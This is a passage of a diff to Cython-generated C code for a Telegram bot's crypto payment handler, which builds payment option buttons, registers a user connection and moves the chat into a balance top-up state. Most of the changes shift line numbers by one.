__pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4507,7 +4501,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 57, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -4517,43 +4511,43 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } /*else*/ { - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 68, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 70, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __pyx_t_9 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 70, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_9, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 70, __pyx_L1_error) - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_9 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_9, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_9, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 71, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_9); - __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) - __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 71, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_9, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_9); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_n_u_crypto, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 70, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; @@ -4576,7 +4570,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 68, __pyx_L1_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -4587,15 +4581,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 74, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 74, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_BACK); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 75, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4618,20 +4615,20 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 74, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 75, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_key_count); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 76, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -4653,7 +4650,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 76, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4668,28 +4665,28 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L10_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 76, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 77, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 77, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_key_count = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 77, __pyx_L1_error) + __pyx_t_2 = (__Pyx_PyInt_BoolEqObjC(__pyx_cur_scope->__pyx_v_key_count, __pyx_int_0, 0, 0)); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 78, __pyx_L1_error) if (__pyx_t_2) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_check_connection_exists); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 78, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -4711,7 +4708,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 78, __pyx_L1_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4726,42 +4723,42 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L12_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 78, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 79, __pyx_L1_error) __pyx_t_4 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_4); } else { __pyx_t_4 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 78, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_4) < 0) __PYX_ERR(0, 79, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); } __Pyx_GIVEREF(__pyx_t_4); __pyx_cur_scope->__pyx_v_exists = __pyx_t_4; __pyx_t_4 = 0; - __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 79, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_exists); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 80, __pyx_L1_error) __pyx_t_15 = (!__pyx_t_2); if (__pyx_t_15) { - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 80, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_add_connection); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_3 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_chat); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 81, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_id); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_tg_id, __pyx_t_7) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_tg_id, __pyx_t_7) < 0) __PYX_ERR(0, 82, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 81, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_balance, __pyx_float_0_0) < 0) __PYX_ERR(0, 82, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_trial, __pyx_int_0) < 0) __PYX_ERR(0, 82, __pyx_L1_error) - if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 81, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_session, __pyx_cur_scope->__pyx_v_session) < 0) __PYX_ERR(0, 82, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 80, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 81, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -4776,12 +4773,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L14_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 80, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 81, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 80, __pyx_L1_error) + else __PYX_ERR(0, 81, __pyx_L1_error) } } @@ -4789,16 +4786,16 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 87, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 88, __pyx_L1_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 89, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 89, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_AMOUNT_TEXT); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 90, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 90, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_9 = NULL; __pyx_t_5 = 0; @@ -4818,7 +4815,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_9, NULL}; __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_5, 0+__pyx_t_5); __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; - if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 90, __pyx_L1_error) + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 91, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } @@ -4843,7 +4840,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 87, __pyx_L1_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 88, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4858,20 +4855,20 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_generator->resume_label = 5; return __pyx_r; __pyx_L15_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 87, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 88, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 87, __pyx_L1_error) + else __PYX_ERR(0, 88, __pyx_L1_error) } } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 93, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_crypto); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_choosing_amount_crypto); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; @@ -4893,7 +4890,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_2generator(__pyx_C __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 93, __pyx_L1_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 94, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); 